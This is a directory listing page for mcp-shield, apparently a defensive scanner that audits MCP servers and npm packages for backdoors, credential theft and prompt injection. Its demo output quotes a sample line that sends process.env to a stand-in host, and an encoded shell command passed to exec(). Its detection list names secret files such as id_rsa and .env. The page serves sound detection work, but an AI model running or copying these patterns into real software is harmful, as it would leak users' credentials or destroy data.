Which integrations are available for this server?

Allows scanning of MCP server code cloned from GitHub repositories, performing static analysis on JavaScript/TypeScript files to detect security vulnerabilities and malicious patterns. Enables scanning and auditing of npm packages containing MCP servers, analyzing source code for security risks and evaluating supply chain trustworthiness through package metadata and dependency analysis.

de en es ja ko ru zh

mcp-shield

by muhannad-hash

Overview Schema Source Related Servers Score Discussions Admin

TypeScript

Remote

mcp-shield

A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.

What it detects

Category	Examples
Exfiltration	`process.env` sent over network, SSH key access, AWS credential reads
Code execution	`eval()`, `new Function()`, `child_process.exec()`, dynamic `require()`
Obfuscation	Base64 runtime decoding, hex-encoded payloads, char-code arrays
Sensitive file access	`.env`, `id_rsa`, browser cookies, `~/.gitconfig`
Prompt injection	Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns
Supply chain	Package age, download count, maintainer count, CVEs in dependencies

Related MCP server: mcpwatch

Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Tools

Tool	What it does
`scan_package`	Download an npm MCP package and scan it for malicious patterns
`scan_directory`	Scan a local MCP server directory (cloned from GitHub, etc.)
`check_prompt_injection`	Check tool descriptions or responses for hidden injections
`audit_supply_chain`	Get trust score, CVEs, maintainer count, and age for any npm package

Installation

Option 1 — npx (no install)

claude mcp add mcp-shield -- npx mcp-shield

Option 2 — global install

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Option 3 — manual config

Add to ~/.claude/claude_mcp_config.json:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Usage examples

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

How it works

Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.

Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.

Contributing

PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

License

MIT

Available Tools

4 tools

audit_supply_chainB

Audit an npm package's supply chain health: publish date, weekly downloads, maintainer count, dependency count, and known CVEs. Returns a trust score from 0-100.

ParametersJSON Schema

Name	Required	Description	Default
`package_name`	Yes	npm package name to audit
`version`	No	Specific version (defaults to latest)

TDQS

B3.3/5.0

Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the full burden of behavioral disclosure. It mentions the tool returns a trust score (0-100) but lacks details on rate limits, authentication needs, error handling, or data sources. For a tool that likely queries external APIs, this is insufficient.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, well-structured sentence that efficiently conveys the tool's purpose, key metrics, and output without any wasted words. It is appropriately sized and front-loaded with essential information.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's moderate complexity (analyzing npm packages) and lack of annotations or output schema, the description is partially complete. It covers the purpose and output type but misses behavioral details like data freshness, limitations, or error cases, leaving gaps for an agent.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema already documents both parameters (package_name and version). The description implies these parameters but adds no syntax, format, or contextual details beyond what the schema provides, meeting the baseline for high coverage.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the specific action ('audit'), resource ('npm package's supply chain health'), and scope ('publish date, weekly downloads, maintainer count, dependency count, and known CVEs'), distinguishing it from sibling tools like check_prompt_injection or scan_directory which target different resources.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

No guidance is provided on when to use this tool versus alternatives like scan_package (a sibling tool), nor are there any prerequisites or exclusions mentioned. The description only states what it does, not when it's appropriate.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

check_prompt_injectionA

Scan text (tool descriptions, tool responses, MCP server manifest content) for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides.

ParametersJSON Schema

Name	Required	Description	Default
`text`	Yes	The text to scan (tool description, response content, etc.)
`label`	No	A label for the scan target (e.g. 'tool: get_weather description')

TDQS

A3.5/5.0

Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It describes what the tool does (scanning for specific threats) but lacks details on behavioral traits such as performance characteristics (e.g., speed, accuracy), error handling, or output format. While it mentions what is scanned, it does not disclose how results are returned or any limitations, leaving gaps in transparency.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, dense sentence that efficiently conveys the tool's purpose, target resources, and scanning criteria without unnecessary words. It is front-loaded with the core action ('Scan text') and avoids redundancy, making every part of the sentence contribute directly to understanding the tool's function.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the complexity of a security scanning tool with no annotations and no output schema, the description is moderately complete. It covers what the tool does and what it scans for, but lacks details on output (e.g., what results look like) and behavioral aspects like error handling or limitations. This is adequate for basic understanding but has clear gaps for effective agent use.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema already documents both parameters ('text' and 'label') with descriptions. The description adds no additional meaning or context beyond what the schema provides, such as examples or constraints on parameter values. This meets the baseline for high schema coverage but does not enhance parameter understanding.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the specific action ('Scan text') and the purpose ('for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides'), with explicit mention of the target resources ('tool descriptions, tool responses, MCP server manifest content'). It distinguishes itself from siblings like audit_supply_chain or scan_directory by focusing on text-based security scanning rather than supply chain or file system analysis.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies usage by listing target resources ('tool descriptions, tool responses, MCP server manifest content'), suggesting it should be used for scanning such content. However, it does not explicitly state when to use this tool versus alternatives like scan_package or provide exclusions (e.g., when not to use it for non-text data). The guidance is present but not comprehensive.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_directoryA

Scan a local MCP server directory for backdoors, exfiltration code, obfuscation, and dangerous patterns. Use this for MCP servers installed locally or cloned from GitHub.

ParametersJSON Schema

Name	Required	Description	Default
`path`	Yes	Absolute or relative path to the MCP server directory

TDQS

A3.6/5.0

Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It mentions the scanning action and targets but does not describe what the tool returns (e.g., report format, findings), potential side effects (e.g., file system access, performance impact), or any constraints like permissions needed or rate limits. This leaves significant gaps for a security scanning tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two sentences with zero waste: the first sentence specifies the action and targets, and the second provides usage context. It is appropriately sized and front-loaded with the core purpose, making it efficient and easy to parse.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness2/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the complexity of a security scanning tool, no annotations, and no output schema, the description is incomplete. It lacks details on what the scan returns (e.g., findings, errors), behavioral traits like safety or performance, and does not compensate for the absence of structured output information, making it inadequate for full agent understanding.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, with the single parameter 'path' well-documented in the schema as 'Absolute or relative path to the MCP server directory'. The description does not add any additional meaning or examples beyond what the schema provides, so it meets the baseline for high coverage without extra value.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose with specific verbs ('scan', 'for') and resources ('local MCP server directory'), listing concrete targets like backdoors, exfiltration code, obfuscation, and dangerous patterns. It distinguishes from siblings by focusing on directory scanning rather than supply chain, prompt injection, or package analysis.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides clear context for when to use this tool ('for MCP servers installed locally or cloned from GitHub'), but it does not explicitly state when not to use it or name alternatives among the sibling tools. The guidance is helpful but lacks explicit exclusions or comparisons.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_packageA

Download an npm MCP server package and scan it for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks. Returns a full security report with severity ratings.

ParametersJSON Schema

Name	Required	Description	Default
`package_name`	Yes	npm package name (e.g. 'some-mcp-server')
`version`	No	Specific version to scan (defaults to latest)

TDQS

A4/5.0

Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries full burden and does well by disclosing key behaviors: it downloads packages, performs multiple security checks, and returns a structured report with severity ratings. It doesn't mention performance characteristics, rate limits, or authentication needs, but covers the core operational behavior adequately for a scanning tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, dense sentence that efficiently conveys purpose, scope, and output without wasted words. It's front-loaded with the core action and resource, making it immediately understandable while remaining appropriately sized for the tool's complexity.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's moderate complexity, no annotations, and no output schema, the description does well by explaining what the tool does and what it returns. However, it could better address behavioral aspects like error handling or performance expectations to be fully complete for a security scanning operation.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema already documents both parameters thoroughly. The description adds no additional parameter semantics beyond what's in the schema, maintaining the baseline score of 3 for adequate but not enhanced parameter documentation.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the specific action ('Download an npm MCP server package and scan it') and resource ('npm MCP server package'), with detailed scope ('for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks'). It distinguishes from sibling tools like 'audit_supply_chain' by focusing on package scanning rather than broader supply chain auditing.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies usage for npm package security scanning, but provides no explicit guidance on when to use this tool versus alternatives like 'audit_supply_chain' or 'scan_directory'. It doesn't mention prerequisites, exclusions, or comparative scenarios, leaving usage context to inference.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

4 tool updatesv1.0.0Apr 13, 2026
- First observedaudit_supply_chain
- First observedcheck_prompt_injection
- First observedscan_directory
- First observedscan_package

Install Server

RayrunBuild, deploy, and operate MCP servers without becoming an infrastructure team.ray.runAd

TDQS

A4/5.0

Scored 2026-04-13 12:35 across 4 tools

Disambiguation5/5

Each tool has a clearly distinct purpose with no overlap: audit_supply_chain focuses on npm package health metrics, check_prompt_injection analyzes text for injection attacks, scan_directory examines local MCP server files, and scan_package downloads and analyzes npm packages. The four tools cover different security aspects without ambiguity.

Naming Consistency5/5

All tool names follow a consistent verb_noun pattern using snake_case: audit_supply_chain, check_prompt_injection, scan_directory, and scan_package. The naming is predictable and readable throughout the set.

Tool Count5/5

With 4 tools, this server is well-scoped for its security-focused purpose. Each tool earns its place by covering distinct security domains (supply chain auditing, prompt injection detection, local scanning, and package scanning), avoiding bloat while providing comprehensive coverage.

Completeness5/5

The tool set provides complete coverage for MCP server security assessment: it handles both local and remote sources (directories and npm packages), includes both static analysis (scanning) and dynamic checks (prompt injection), and covers supply chain risks. No obvious gaps exist for this domain.

Maintenance

ActivityInactive

ResponsivenessNo issues

Resources

Need Help?

Related Servers

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Connectors

MCP FortressOAuth
io.github.mcp-fortress
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Security Testing & QA Tools Penetration Testing
2
mcpcheck B
io.github.joeyough
Scan any MCP server for tool-poisoning, security, auth & license. Trust score before install.
Penetration Testing Security
21
Dominion Observatory
com.dominionobservatory
Trust checks for MCP servers: trust scores, tool-drift detection, signed diligence receipts. Free.
Security Observability
2
registry A
com.policylayer
The MCP server that vets MCP servers: identity, risk grade and per-tool risk before you install.
Security Developer Tools
521

Related MCP Servers

mcp-doctor
Developer Tools Testing & QA Tools Monitoring
realwigu
A
license
A
quality
D
maintenance
Diagnose, secure, and benchmark your MCP servers. Zero-config CLI for Claude Code, Cursor, VS Code, and Windsurf.
Updated 6 months ago (2026-03-14 21:38 UTC)
4
98
3
MIT
mcpwatch
Security Testing & QA Tools Developer Tools
lazymac2x
A
license
Not graded
quality
D
maintenance
MCP server that audits other MCP servers. Run MCPWatch security scans from inside Claude Code or any MCP-compatible agent with 10 OWASP MCP Top 10 aligned checks and A-F letter grades.
Updated 3 months ago (2026-05-28 13:12 UTC)
MIT
SilentFail
Monitoring Security Developer Tools
decksaga
A
license
Not graded
quality
C
maintenance
Diagnose MCP servers — health checks, tool testing, token cost audits, conflict detection, and security scanning with 50+ prompt injection patterns. Works as CLI or MCP server inside Claude Desktop.
Updated 4 months ago (2026-05-23 20:24 UTC)
1
MIT
claude-work-mcp
File Systems Shell Access Developer Tools
blaspinto5
F
license
Not graded
quality
C
maintenance
A local MCP server that connects Claude Code to your work environment through auditable tools for file operations, API calls, and command execution, with safety gates and configuration.
Updated 2 months ago (2026-07-10 19:53 UTC)
-

Appeared in Searches

A CLI tool for auditing MCP (Model Context Protocol) configurations or servers